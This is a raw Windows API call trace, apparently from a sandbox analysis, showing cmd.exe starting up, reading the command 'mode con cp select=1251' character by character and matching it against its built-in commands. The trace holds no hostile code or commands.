[0125.074] GetFileType (hFile=0xf4) returned 0x3 [0125.074] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0125.074] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x12fd08, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12fd08*=0x3f, lpOverlapped=0x0) returned 1 [0125.074] _vsnwprintf (in: _Buffer=0x4aca6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12fd38 | out: _Buffer="\r\n") returned 2 [0125.074] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.074] GetFileType (hFile=0xf4) returned 0x3 [0125.074] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.074] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0125.074] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12fd08, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12fd08*=0x2, lpOverlapped=0x0) returned 1 [0125.075] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x771c0000 [0125.075] GetProcAddress (hModule=0x771c0000, lpProcName="CopyFileExW") returned 0x771d23d0 [0125.075] GetProcAddress (hModule=0x771c0000, lpProcName="IsDebuggerPresent") returned 0x771c8290 [0125.075] GetProcAddress (hModule=0x771c0000, lpProcName="SetConsoleInputExeNameW") returned 0x771d17e0 [0125.075] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.075] GetFileType (hFile=0xe8) returned 0x3 [0125.075] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0125.075] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x12fb60 | out: TokenHandle=0x12fb60*=0x0) returned 0xc000007c [0125.075] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x12fb60 | out: TokenHandle=0x12fb60*=0x50) returned 0x0 [0125.075] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x12fb70, TokenInformationLength=0x4, ReturnLength=0x12fb78 | out: TokenInformation=0x12fb70, ReturnLength=0x12fb78) returned 0x0 [0125.101] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x12fb78, TokenInformationLength=0x4, ReturnLength=0x12fb70 | out: TokenInformation=0x12fb78, ReturnLength=0x12fb70) returned 0x0 [0125.101] NtClose (Handle=0x50) returned 0x0 [0125.101] GetProcessHeap () returned 0x180000 [0125.101] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19aae0 | out: hHeap=0x180000) returned 1 [0125.130] _vsnwprintf (in: _Buffer=0x4aca6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12f878 | out: _Buffer="\r\n") returned 2 [0125.130] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.130] GetFileType (hFile=0xf4) returned 0x3 [0125.130] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.130] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0125.130] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x12f848, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12f848*=0x2, lpOverlapped=0x0) returned 1 [0125.130] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0125.130] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0125.130] _vsnwprintf (in: _Buffer=0x4ac8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x12f888 | out: _Buffer="C:\\Windows\\system32") returned 19 [0125.131] _vsnwprintf (in: _Buffer=0x4ac8eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x12f888 | out: _Buffer=">") returned 1 [0125.131] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.131] GetFileType (hFile=0xf4) returned 0x3 [0125.131] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.131] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0125.131] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x12f878, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12f878*=0x14, lpOverlapped=0x0) returned 1 [0125.131] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.131] GetFileType (hFile=0xe8) returned 0x3 [0125.131] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.131] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.131] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.131] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0125.131] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.131] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.131] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.131] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0125.131] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.131] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.132] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0125.132] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.132] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.132] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0125.132] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.132] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.132] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0125.132] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.132] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.132] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0125.132] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.132] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.132] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0125.132] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.132] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.132] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0125.132] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.132] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.132] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0125.132] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.133] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.133] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0125.133] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.133] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.133] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0125.133] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.133] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.133] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0125.133] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.133] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.133] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0125.133] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.133] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.133] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0125.133] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.133] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.133] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.133] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0125.133] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.133] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.133] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0125.134] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.134] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.134] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0125.134] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.134] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.134] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0125.134] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.134] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.134] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0125.134] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.134] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.134] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0125.134] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.134] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.134] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0125.134] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.134] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.134] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.134] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0125.134] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.134] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.135] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.135] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0125.135] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.135] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.135] ReadFile (in: hFile=0xe8, lpBuffer=0x4ac9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x12fb78, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesRead=0x12fb78*=0x1, lpOverlapped=0x0) returned 1 [0125.135] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ac9c320, cbMultiByte=1, lpWideCharStr=0x4ac9e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0125.135] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.135] GetFileType (hFile=0xe8) returned 0x3 [0125.135] _get_osfhandle (_FileHandle=0) returned 0xe8 [0125.135] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.135] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.135] GetFileType (hFile=0xf4) returned 0x3 [0125.135] _get_osfhandle (_FileHandle=1) returned 0xf4 [0125.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4ac9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0125.135] WriteFile (in: hFile=0xf4, lpBuffer=0x4ac9c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x12fb58, lpOverlapped=0x0 | out: lpBuffer=0x4ac9c320*, lpNumberOfBytesWritten=0x12fb58*=0x18, lpOverlapped=0x0) returned 1 [0125.136] GetProcessHeap () returned 0x180000 [0125.136] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x4012) returned 0x19b310 [0125.136] GetProcessHeap () returned 0x180000 [0125.136] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x19b310 | out: hHeap=0x180000) returned 1 [0125.136] _wcsicmp (_String1="mode", _String2=")") returned 68 [0125.136] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0125.136] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0125.136] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0125.136] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0125.136] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0125.136] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0125.136] GetProcessHeap () returned 0x180000 [0125.136] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0xb0) returned 0x199840 [0125.136] GetProcessHeap () returned 0x180000 [0125.136] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x1a) returned 0x194630 [0125.137] GetProcessHeap () returned 0x180000 [0125.137] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x8, Size=0x38) returned 0x196550 [0125.138] GetConsoleOutputCP () returned 0x1b5 [0125.138] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac9bfe0 | out: lpCPInfo=0x4ac9bfe0) returned 1 [0125.138] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0125.138] GetConsoleTitleW (in: lpConsoleTitle=0x12fb10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0125.138] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0125.138] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0125.138] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0125.138] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0125.138] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0125.138] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0125.138] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0125.138] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0125.138] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0125.138] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0125.138] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0125.138] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0125.138] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0125.139] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0125.139] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0125.139] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0125.139] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0125.139] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0125.139] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0125.139] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0125.139] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0125.139] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0125.139] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0125.139] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0125.139] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0125.139] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0125.139] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0125.139] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0125.139] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0125.139] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 